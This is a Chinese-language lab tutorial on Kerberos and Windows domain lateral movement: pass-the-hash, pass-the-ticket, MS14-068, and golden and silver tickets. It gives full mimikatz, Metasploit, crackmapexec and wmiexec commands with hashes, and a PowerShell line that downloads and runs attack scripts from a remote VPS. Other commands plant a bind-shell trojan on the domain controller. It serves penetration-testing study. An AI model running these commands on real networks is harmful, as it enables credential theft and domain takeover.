在上节《内网横向移动:获取域内单机密码与Hash》中,我们讲了如何在内网渗透中抓取主机的的密码和哈希值。获取了Hash,我们可以对其进行破解,破解不出来的,我们就可以利用他们通过PTH、PTT等攻击手法继续对内网横向渗透,即下面要讲的。
本节,我们来讲解横向渗透中的Kerberos认证与票据传递攻击,这一部分在内网渗透中是十分关键的。本文专为想我一样正在入门的小白准备,大佬可以路过,呜呜呜!
由于近期一直在准备“蓝帽杯”得比赛,所以一直没有时间更新,文章可能略显仓促,不足之处还请多多指教。
Kerberos协议认证过程
Kerberos协议是一种基于第三方可信主机的计算机网络协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。Kerberos协议在在内网域渗透中至关重要,白银票据、黄金票据、攻击域控等都离不开kerberos协议。
关键角色:
- Domain Controller (域控制器),简称DC,一台计算机,实现用户、计算机的统一管理。
- Key Distribution Center(秘钥分发中心),简称KDC,默认安装在域控里,包括AS和TGS。
- Authentication Service(身份验证服务),简称AS,用于KDC对Client认证。
- Ticket Grantng Service (票据授予服务),简称TGS,用于KDC向Client和Server分发Session Key(临时key)。
- Active Directory(活动目录),简称AD,用于存储用户、用户组、域相关的信息。
- Client 客户端,指用户。
- Server 服务端,可能是某台计算机,也可能是某个服务。
打个比方:当whoami要和bunny进行通信的时候,whoami就需要向bunny证明自己是whoami,直接的方式就是whoami用二人之间的秘密做秘钥加密明文文字生成密文,把密文和明文文字一块发送给bunny,bunny再用秘密解密得到明文,把明文和明文文字进行对比,若一致,则证明是whoami。
但是网络中,密文和文字很有可能被窃取,并且只要时间足够,总能破解得到秘钥。所以不能使用这种长期有效的秘钥,要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供,即KDC(Key Distribution Center)。
下面讲一下详细的认证步骤,大概分为三个阶段:
AS-REQ—AS-REP阶段:
首先Client用自己的哈希值NTLM-hash对timestamp、client-info、server-info等数据进行加密,发送给AS,向AS请求TGT票据。(AS-REQ)
当AS收到Client发来的信息后,AS会先向域控AD请求,询问是否有此Client用户,如果有的话,就会取出该Client的NTLM hash,然后生成一个随机秘钥称为Session-Key as(临时秘钥Session-Key)。并使用Client NTLM-hash 加密 Session-key as 作为一部分内容。
还有一部分内容就是TGT:使用KDC一个特定账户krbtgt的NTLM-hash对Session-key as、timestamp、Client-info进行的加密。然后将这两部分回复给Client。(AS-REP)
该阶段是Client和AS的认证。
TGS-REQ—TGS-REP阶段:
Client 收到AS发来的AS-REP后,先使用自身的 NTLM Hash 解密得到 Session-key as,然后使用 Session-key as 对 Client-Info、timestamp、Server-Info 加密作为一部分,加上TGT ,一并发送给 KDC中的 TGS。(TGS-REQ)
TGS 收到请求后,使用 krbtgt 的 NTLM Hash 解密 TGT,得到 Session-key as、timestamp、Client-info,同时,使用 TGT 解密出的 Session-key as 解密第一部分内容,得到Client-info、timestamp。 比对这两部分解密得到的内容以验证是否通过。通过后,生成一个新的随机秘钥(Session-Key tgs),并向Client回复TGS-REP的两部分内容:
- 一部分是Session-key as 加密的 Session-key tgs
- 另一部分是ST(ticket),即Server NTLM-hash加密的数据(Session-key tgs、timestamp、Client-info)
该阶段是Client和KDC的通信。
AP-REQ—AP-REP阶段:
Client收到TGS-REP后,先用自己保存的Session-key as解密出了Session-key tgs。再使用Session-key tgs加密Client-info、timestamp作为一部分内容,另一部分是ST,一并发送给Server。(AP-REQ)
Server 收到Client发来的AP-REQ后,用自身的NTLM Hash解密了ST,得到Session-key tgs,再用Session-key tgs解密第一部分得到Client-info、timestamp。然后与ST的Client-info、timestamp进行对比。timestamp 一般时间为8小时。验证通过后,回复AP-REP,最终建立通信。
Kerberos认证详情请见:https://www.jianshu.com/p/13758c310242,这里写的十分详细了。
哈希与票据传递攻击
下面,我们以下图所示的环境来具体演示哈希传递攻击(PTH)的方法。
如图中,右侧是一个内网环境,域名为god,有三台机器:Windows 7、Windows Server 2008、Windows Server 2003,其中Windows 7和Windows Server 2003都可以上网但没有公网IP。攻击者使用公网VPS。
Windows Server 2008(192.168.52.138)为域控制器(机器名为OWA),假设我们攻击者已经获得了Windows 7域成员主机的控制权,需要进一步横向渗透去拿下Windows Server 2003和域控。
以上实验环境来自vulnstack 1靶场,可以看我的相关文章《记一次基础的Vulnstack渗透经验分享》
哈希传递攻击(PTH)
使用Mimikatz进行PTH
Pass The Hash 哈希传递攻击简称 PTH,该方法通过找到与账户相关的密码散列值(NTLM Hash)来进行攻击。由于在Windows系统中,通常会使用NTLM Hash对访问资源的用户进行身份认证,所以该攻击可以在不需要明文密码的情况下,利用LM HASH和NTLM HASH直接远程登录目标主机或反弹shell。
在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。常常适用于域/工作组环境。
下面演示哈希传递攻击的方法(需要管理员权限):
首先,攻击者在Windows 7上面上传mimikatz,并用mimikatz抓取Hash:
privilege::debug sekurlsa::logonpasswords
如上图,成功抓取到域管理员的NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63
然后,在Windows 7上用mimikatz将获取的Administrator的Hash添加进lsass中:
privilege::debug sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63
成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录:
我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行:
copy bindshell.exe /OWAc$ // 将msf木马bindshell.exe复制到目标机器上
schtasks /create /tn "shell" /tr C:bindshell.exe /sc MINUTE /s 192.168.52.138 // 在域控上创建shell计划任务,开机时启动c盘下bindshell.exe
schtasks /run /s 192.168.52.138 /i /tn "shell" // 在域控上立即启动该计划任务
sc /OWA create bindshell binpath= "c:bindshell.exe" // 在域控上创建服务启动木马
sc /OWA start bindshell // 在域控上立即启动该服务
注意,哈希传递攻击要注意一下几点:
- dir命令后面要使用主机名,不能用IP,否则报错
- 使用mimikatz进行哈希传递要具有本地管理员权限
使用Metasploit进行PTH
经常使用的三个模块
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload
以exploit/windows/smb/psexec模块哈希传递攻击Windows Server 2003为例(设置smbuser、smbpass、smbdomain)
可以看到,该模块默认使用也仅能使用windows/meterpreter/reverse_tcp作为payload,其为反向的shell,这也就决定了,我们进行哈希传递攻击的目标主机(Windows Server 2003)必须能上网。
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set smbuser administrator
set smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 # 完整的Administrator用户的Hash
set smbdomain god
run
如上图,攻击成功,得到Windows Server 2003的shell。注意这里的smbpass选项,其可以为明文密码,也可以为Hash,但Hash必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代替。不要忘了设置通向内网的路由或者代理。
使用Crackmapexec进行PTH
该工具位于kali上面,其可以对C段主机批量进行PTH攻击。
下载地址:https://github.com/byt3bl33d3r/CrackMapExec.git
在kali上直接用apt-get就可以安装:
apt-get install crackmapexec
对内网主机进行PTH的命令如下:
crackmapexec smb IP -u user -H hash -d god.org -x whoami
crackmapexec smb 192.168.52.138 -u administrator -H 4d6e43b2cdc951808100f5b1d09aac63 -d god.org -x whoami
IP 可以是单个IP也可以是IP段
-u 指定用户名
-H 指定NTLM Hash
-d 指定域
-x 执行系统命令
更多crackmapexec使用请参考资料:
红队测试工具-CrackMapExec-远程执行Windows命令
利用wmiexec进行PTH
1. python 版本(wmiexec.py)
这是impacket工具包里面的脚本,可以用来PTH,十分强大并可以走socks代理。
下载地址:https://github.com/SecureAuthCorp/impacket
首先攻击者安装impacket工具包:
git clone https://github.com/CoreSecurity/impacket.git cd impacket/ pip install .
进入examples目录即可找到我们的wmiexec.py,然后执行
(proxychains4) python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@192.168.52.138 "命令"
python wmiexec.py -hashes 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63 god/[email protected] "whoami"
2. wmiexec.exe
下载地址:https://github.com/maaaaz/impacket-examples-windows
该exe版本的与上面那个wmiexec.py是一样的,是通过python impacket库实现的,用法相同,不再演示。
3. powershell版本
下载地址:https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-TheHash项目是一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。内含如下多个脚本:
Invoke-WMIExec.ps1 Invoke-SMBExec.ps1 Invoke-SMBEnum.ps1 Invoke-SMBClient.ps1 Invoke-TheHash.ps1
其可以执行WMI和SMB命令,并对内网IP批量进行PTH攻击。使用方法:在目标主机Windows 7的powershell上执行如下:
IEX (New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Invoke-TheHash/Invoke-WMIExec.ps1'); IEX (New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Invoke-TheHash/Invoke-TheHash.ps1');Invoke-TheHash -Type WMIExec -Target 192.168.52.1/24 -Domain god -Username administrator -Hash 4d6e43b2cdc951808100f5b1d09aac63 -Command "whoami" -verbose
- -Target :目标主机名或IP地址/段。
- -Username :用于身份验证的用户名。
- -Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
- -Hash:用于身份验证的NTLM密码哈希(格式: LM:NTLM 或 NTLM)。
- -Command :在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
使用的时候需要先加载Invoke-WMIExec.ps1脚本,然后再加载Invoke-TheHash.ps1脚本,因为Invoke-TheHash 里要用到 Invoke-WMIExec 方法。
如上图,成功在批量内网其他主机行执行了命令。如下我们在域控(192.168.52.138)上开启notepad进程:
去域控上查看3336号进程:
可知,进程启动成功。
哈希传递攻击的预防
打kb2871997补丁。打上该补丁后,会禁止通过本地管理员权限与远程主机进行连接,导致无法通过本地管理员权限对远程计算机使用PsExec、WMI、smbexec、schtasks、sc等,也无法访问远程主机的文件共享。
但是在测试中发现,在打了 kb2871997 这个补丁后,常规的哈希传递已经无法成功,但默认的Administrator(SID为500)账号例外,利用这个账号仍可以进行哈希传递。
票据传递攻击(PTT)
上面我们所讲的PTH是基于NTLM认证的,接下来我们要讲的PTT是基于Kerberos协议进行攻击的,Kerberos协议在文章的开头已经讲过了,请务必细细理解其中的奥妙!
我们在渗透测试中,要使用哈希传递攻击,则必须要获取目标机器的管理员权限。如果没有管理员权限,我们不妨用用PTT。
在票据传递攻击(PTT)中,我们常用的有MS08-068、黄金票据、白银票据。其中MS08-068可用来横向获取域内主机权限,黄金票据、白银票据则可以用来对域控进行权限维持。
下面我们以上图的实验环境来复现PTT攻击的具体操作。右侧为目标内网,域名为demo,Windows 7为普通用户douser,密码为Dotest123,;DC为域管理员administrator用户。假设我们已经用msf获得了Windows 7的控制权,并且已通过路由或代理进入目标内网,我们要利用PTT攻击来拿下DC。
以上实验环境来自vulnstack 4靶场,可以看我的相关文章记一次Vulnstack靶场内网渗透(二)
MS14-068
在讲解MS08-068之前,我们要先了解PAC这个东西,PAC是用来验证Client的访问权限的,它会被放在TGT里发送给Client,然后由Client发送给TGS。
Windows域中使用kerberos协议过程中,为了让服务器判断Client是否有权限访问服务,微软在Windows平台上对Kerberos协议进行了一些扩充,即在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书,也就是这个PAC造成了MS14-068这个漏洞。
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意的PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了PAC的Kerberos TGT来获得票证,进而伪造票据获得管理员权限。
了解了漏洞原理后,我们来演示漏洞的利用方法。需要的条件如下:
- 域内任意用户SID
- 域内任意用户密码
利用MS14-068工具
首先,我们需要在目标主机Windows 7上面获得一个域用户douser的SID:
SID为:S-1-5-21-979886063-1111900045-1414766810-1107
然后再Windows 7上传工具ms14-068.exe,并执行如下命令生成TGT票据:
ms14-068.exe -u [email protected] -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
如上图,成功生成名为[email protected]的票据文件,接下来要做的就是将该票据文件注入到Windows 7的内存中了:
在Windows 7上传mimikatz,利用mimikatz将票据注入到当前内存中,伪造凭证:
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
查看注入是否成功klist
:
如上图,票据注入成功,此时,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令。如用net use登录域控(WIN-ENS2VR5TR3N):
net use /WIN-ENS2VR5TR3N
如上图,成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马,并将该木马copy到域控上去执行:
copy c:windowssystem32bind.exe /WIN-ENS2VR5TR3Nc$
然后再Windows 7上通过sc远程对域控创建服务来启动木马:
sc /WIN-ENS2VR5TR3N create bindshell binpath= "c:bind.exe" sc /WIN-ENS2VR5TR3N start bindshell
执行后,攻击机上的msf成功上线域控:
成功拿下域控。
利用kekeo工具
下载地址:https://github.com/gentilkiwi/kekeo/releases
kekeo是gentilkiwi开源的一个工具,我们也可以用它来实现票据传递。
因为需要获取域用户的NTLM Hash,我们获得douser用户的hash:
得到hash为:bc23b0b4d5bf5ff42bc61fb62e13886e
然后在目标机器Windows 7中上传kekeo并执行如下命令生成票据:
kekeo // 进入kekeo
kekeo # tgt::ask /user:douser /domain:demo.com /ntlm:bc23b0b4d5bf5ff42bc61fb62e13886e
// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash
如上图,成功生成了名为[email protected][email protected]的票据文件,接下来就是导入票据了:
在kekeo中执行以下命令:
kekeo # kerberos::purge // 清除内存中的其他票据 kekeo # kerberos::ptt [email protected][email protected] // 导入票据
如上图导入成功,输入“exit”退出kekeo,此时,攻击者就可以利用Windows 7可任意访问域中所有机器,可以使用net use进行登录或者使用psexec,wmi等方法进行远程执行命令了,具体操作同上,不再演示。
黄金票据(Golden ticket)
在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
- 需要伪造的域管理员用户名
- 完整的域名
- 域SID
- krbtgt的NTLM Hash
域成员主机:Windows 7(192.168.183.131) 域名:DEMO.com 用户名:douser
域控制器:192.168.183.130
域名:DEMO.com
用户名:administrator
首先,我们登上域控,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:
privilege::debug lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid为S-1-5-21-979886063-1111900045-1414766810
然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为administrator:
kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi
kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:
kerberos::ptt ticket.kirbi
kerberos::ptt
此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:
kerberos::tgt
到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7可任意访问域控,可以使用net use进行登录
dir /WIN-ENS2VR5TR3Nc$
也可以使用psexec,wmi等方法进行远程执行命令了,具体操作不再演示,相比ms14-068,黄金票据可以当做一个按在普通域成员主机上的连接到域控的后门。
白银票据(Silver ticket)
白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
- 域名
- 域SID
- 目标服务器的FQDN
- 可利用的服务
- 服务账号的NTLM Hash
- 要伪造的用户名
如下,我们使用白银票据伪造CIFS服务权限,CIFS服务通常用于Windows主机之间的文件共享。
首先,登录域控,抓取机器账号的Hash:
privilege::debug sekurlsa::logonpasswords
得到计算机账号的Hash为:f0954d00b21d338aa86051eca90f7f74
(注意是WIN-ENS2VR5TR3N$用户的NTLM-Hash,不是Administrator用户,因为要利用共享服务账号)
然后切换到普通域用户机器Windows 7中,使用mimikatz生成伪造的白银票据:
kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO.com /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt
- /sid:域的SID值
- /rc4:server机器的hash
- /service:可利用的服务,这里是cifs
- /user:要伪造的用户名,任意填写
- /target:域控制器名,即FQDN(全称)
成功生成了伪造的白银票据,此时进行权限验证。如下,发现已经可以访问域控制器的共享目录了:
dir /WIN-ENS2VR5TR3N.demo.comc$ // 机器名要全称,注意是全称
Ending……
本文所讲的哈希传递与票据传递攻击,在内网渗透的横向移动中算是很基础的技能了,但却至关重要。在以后的学习中,我们不能好高骛远,要把基础的东西学好,基础打牢,一步一个脚印的往前走。
参考:
https://www.jianshu.com/p/13758c310242
https://www.cnblogs.com/websecyw/p/11232210.html
https://www.freebuf.com/news/183634.html
https://www.freebuf.com/vuls/56081.html
https://www.jianshu.com/p/f409e15245c3
由于疫情,学校一直没开学,趁着时间不如好好跟着大佬们学学,文章大多是我学习的总结,因初来乍到,必有很多不足之处,还请各位前辈多多指教,小生还需多多向各位前辈学习。
请登录后发表评论
注册